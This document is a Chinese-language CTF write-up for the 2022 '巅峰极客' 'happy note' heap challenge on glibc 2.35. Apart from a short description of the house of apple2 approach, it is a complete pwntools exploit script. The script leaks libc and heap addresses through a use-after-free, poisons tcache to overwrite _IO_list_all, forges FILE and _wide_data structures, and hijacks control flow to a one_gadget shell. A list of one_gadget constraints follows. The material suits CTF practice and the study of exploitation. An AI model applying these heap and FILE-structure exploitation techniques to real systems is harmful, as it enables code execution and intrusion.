[巅峰极客 2022]happy note wp

glibc 2.35-0ubuntu3.1_amd64
house of apple2
只给了一次uaf的机会,所以需要对uaf的堆块重复利用
第一次泄露libc,第二次申请时overlap泄露堆地址
后续就是正常house of apple2流程
可以打one_gadget,这里我们修改_flags sh;打system获取shell
注意堆块构造,大小不超过0x200,下标不超过12;
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=remote("node3.anna.nssctf.cn",28065)
# io=process("./happy_note")
libc=ELF("./libc.so.6")

def add(s,n,m):
    io.sendlineafter(b">> ",b"1")
    io.sendlineafter(b"size:\n",str(s))
    io.sendlineafter(b"note:\n",str(n))
    io.sendlineafter(b"[2]\n",str(m)) #1->calloc  2->malloc 

def delete(n):
    io.sendlineafter(b">> ",b"2")
    io.sendlineafter(b"note:\n",str(n))
    
def show(n):
    io.sendlineafter(b">> ",b"3")
    io.sendlineafter(b"show?\n",str(n))

def edit(n,cc):
    io.sendlineafter(b">> ",b"4")
    io.sendlineafter(b"note:\n",str(n))
    io.sendafter(b"content:\n",cc)

def func(n):
    io.sendlineafter(b">> ",b"666")
    io.sendlineafter(b"note:\n",str(n))
    
def build_fake_file(addr, vtable, _wide_data, rdx=0):
    # fake_file = p64(flag)  # _flags
    # fake_file += p64(addr)  # _IO_read_ptr
    fake_file = b""
    fake_file += p64(addr)  # _IO_read_end
    fake_file += p64(addr)  # _IO_read_base
    fake_file += p64(addr)  # _IO_write_base
    fake_file += p64(addr + 1)  # _IO_write_ptr
    fake_file += p64(rdx)  # _IO_write_end
    fake_file += p64(addr)  # _IO_buf_base
    fake_file += p64(0)  # _IO_buf_end
    fake_file += p64(0)  # _IO_save_base
    fake_file += p64(0)  # _IO_backup_base
    fake_file += p64(0)  # _IO_save_end
    fake_file += p64(0)  # _markers
    fake_file += p64(0)  # _chain   could be a anathor file struct
    fake_file += p32(1)  # _fileno
    fake_file += p32(0)  # _flags2
    fake_file += p64(0)  # _old_offset
    fake_file += p16(0)  # _cur_column
    fake_file += p8(0)  # _vtable_offset
    fake_file += p8(0x10)  # _shortbuf
    fake_file += p32(0)
    fake_file += p64(0)  # _lock
    fake_file += p64(0)  # _offset
    fake_file += p64(0)  # _codecvt
    fake_file += p64(_wide_data)  # _wide_data
    fake_file += p64(0)  # _freeres_list
    fake_file += p64(0)  # _freeres_buf
    fake_file += p64(0)  # __pad5
    fake_file += p32(0)  # _mode
    fake_file += p32(0)  # unused2
    fake_file += p64(0) * 2  # unused2
    fake_file += p64(vtable)  # vtable
    return fake_file

# gdb.attach(io)
# pause()

for i in range(11):
    add(0x100,i,1)

for i in range(7):
    delete(i)

func(7)
show(7)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x219ce0
print("leak_addr: "+hex(leak_addr))


_IO_list_all=leak_addr+libc.sym[b"_IO_list_all"]
_IO_list_all_chain=_IO_list_all+0x88
_IO_wfile_jumps=leak_addr+libc.sym[b"_IO_wfile_jumps"]
sys_addr=leak_addr+libc.sym[b"system"]
shell=leak_addr+0xebcf1


add(0x100,0,1) #7

delete(9)
delete(7) #tcachebin 0

show(0) #tcachebin 0
io.recvuntil(b"content: ")
heap_addr=u64(io.recv(6).ljust(8,b"\x00"))-0xc20
key=heap_addr>>12
print("heap_addr: "+hex(heap_addr))

add(0x100,2,1)
add(0xe8,3,1) #new 0 , uaf , editable
add(0xe8,4,1)

delete(4)
delete(3)

edit(0,p64(key^_IO_list_all))

add(0xe8,5,2) #5
add(0xe8,6,2) #6

add(0x1e8,7,1) #7
add(0x200,11,1) #11
#chunk 10  heap_addr+0xd30
fake_wide_data=heap_addr+0xd40 #chunk 10 content 
fake_jump=heap_addr+0xf30 # chunk 7
fake_IO=heap_addr+0x1120 # chunk 11

_wide_data=b""
_wide_data=_wide_data.ljust(0x18,b"\x00")+p64(0)
_wide_data=_wide_data.ljust(0x30,b"\x00")+p64(0)
_wide_data=_wide_data.ljust(0xe0,b"\x00")+p64(fake_jump)
edit(10,_wide_data)


edit(6,p64(fake_IO))
payload=b"\x00"*0x58+p64(shell)
payload=payload.ljust(0x1e0,b"\x00")+b"  sh;"
edit(7,payload)
edit(11,build_fake_file(0,_IO_wfile_jumps,fake_wide_data,0))

delete(9)


io.interactive()

# 0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL
#   rbp == NULL || (u16)[rbp] == NULL

# 0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

# 0xebcf5 execve("/bin/sh", r10, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xebcf8 execve("/bin/sh", rsi, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL

# 0xebd52 execve("/bin/sh", rbp-0x50, r12)
# constraints:
#   address rbp-0x48 is writable
#   [rbp-0x50] == NULL || rbp-0x50 == NULL
#   [r12] == NULL || r12 == NULL

# 0xebdaf execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
#   address rbp-0x48 is writable
#   [rbp-0x50] == NULL || rbp-0x50 == NULL
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

# 0xebdb3 execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
#   address rbp-0x50 is writable
#   [rbp-0x50] == NULL || rbp-0x50 == NULL
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL